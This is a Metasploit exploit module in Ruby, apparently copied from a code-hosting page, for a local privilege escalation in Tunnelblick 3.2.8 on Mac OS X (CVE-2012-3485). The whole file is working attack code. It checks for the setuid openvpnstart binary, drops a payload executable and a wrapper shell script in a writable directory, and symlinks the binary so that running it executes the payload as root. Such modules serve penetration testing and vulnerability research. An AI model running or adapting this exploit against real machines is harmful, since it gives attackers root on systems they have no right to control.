Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
class MetasploitModule < Msf::Exploit::Local
8
  Rank = ExcellentRanking
9

10
  include Msf::Post::OSX::Priv
11
  include Msf::Post::File
12
  include Msf::Exploit::EXE
13

14
  def initialize(info = {})
15
    super( update_info( info, {
16
        'Name'           => 'Setuid Tunnelblick Privilege Escalation',
17
        'Description'    => %q{
18
            This module exploits a vulnerability in Tunnelblick 3.2.8 on Mac OS X. The
19
          vulnerability exists in the setuid openvpnstart, where an insufficient
20
          validation of path names allows execution of arbitrary shell scripts as root.
21
          This module has been tested successfully on Tunnelblick 3.2.8 build 2891.3099
22
          over Mac OS X 10.7.5.
23
        },
24
        'References'     =>
25
          [
26
            [ 'CVE', '2012-3485' ],
27
            [ 'OSVDB', '84706' ],
28
            [ 'EDB', '20443' ],
29
            [ 'URL', 'http://blog.zx2c4.com/791' ]
30
          ],
31
        'License'        => MSF_LICENSE,
32
        'Author'         =>
33
          [
34
            'Jason A. Donenfeld', # Vulnerability discovery and original Exploit
35
            'juan vazquez'        # Metasploit module
36
          ],
37
        'DisclosureDate' => '2012-08-11',
38
        'Platform'       => 'osx',
39
        'Arch'           => [ ARCH_X86, ARCH_X64 ],
40
        'SessionTypes'   => [ 'shell' ],
41
        'Targets'        =>
42
          [
43
            [ 'Tunnelblick 3.2.8 / Mac OS X x86',    { 'Arch' => ARCH_X86 } ],
44
            [ 'Tunnelblick 3.2.8 / Mac OS X x64',    { 'Arch' => ARCH_X64 } ]
45
          ],
46
        'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
47
        'DefaultTarget'  => 0
48
      }))
49
    register_options [
50
        # These are not OptPath because it's a *remote* path
51
        OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
52
        OptString.new("Tunnelblick", [ true, "Path to setuid openvpnstart executable", "/Applications/Tunnelblick.app/Contents/Resources/openvpnstart" ])
53
      ]
54
  end
55

56
  def base_dir
57
    datastore['WritableDir'].to_s
58
  end
59

60
  def check
61
    unless file? datastore['Tunnelblick']
62
      vprint_error 'openvpnstart not found'
63
      return CheckCode::Safe
64
    end
65

66
    check = cmd_exec("find  #{datastore["Tunnelblick"]} -type f -user root -perm -4000")
67

68
    unless check.include? 'openvpnstart'
69
      return CheckCode::Safe
70
    end
71

72
    CheckCode::Vulnerable
73
  end
74

75
  def clean
76
    file_rm(@link)
77
    cmd_exec("rm -rf #{base_dir}/openvpn")
78
  end
79

80
  def exploit
81
    if is_root?
82
      fail_with Failure::BadConfig, 'Session already has root privileges'
83
    end
84

85
    if check != CheckCode::Vulnerable
86
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
87
    end
88

89
    unless writable? base_dir
90
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
91
    end
92

93
    print_status("Creating directory...")
94
    cmd_exec "mkdir -p #{base_dir}/openvpn/openvpn-0"
95

96
    exe_name = rand_text_alpha(8)
97
    @exe_file = "#{base_dir}/openvpn/openvpn-0/#{exe_name}"
98
    print_status("Dropping executable #{@exe_file}")
99
    write_file(@exe_file, generate_payload_exe)
100
    cmd_exec "chmod +x #{@exe_file}"
101

102

103
    evil_sh =<<-EOF
104
#!/bin/sh
105
#{@exe_file}
106
    EOF
107

108
    @sh_file = "#{base_dir}/openvpn/openvpn-0/openvpn"
109
    print_status("Dropping shell script #{@sh_file}...")
110
    write_file(@sh_file, evil_sh)
111
    cmd_exec "chmod +x #{@sh_file}"
112

113
    link_name = rand_text_alpha(8)
114
    @link = "#{base_dir}/#{link_name}"
115
    print_status("Creating symlink #{@link}...")
116
    cmd_exec "ln -s -f -v #{datastore["Tunnelblick"]} #{@link}"
117

118
    print_status("Running...")
119
    begin
120
      cmd_exec "#{@link} OpenVPNInfo 0"
121
    rescue
122
      print_error("Failed. Cleaning files #{@link} and the #{base_dir}/openvpn directory")
123
      clean
124
      return
125
    end
126
    print_warning("Remember to clean files: #{@link} and the #{base_dir}/openvpn directory")
127
  end
128
end
129

130

131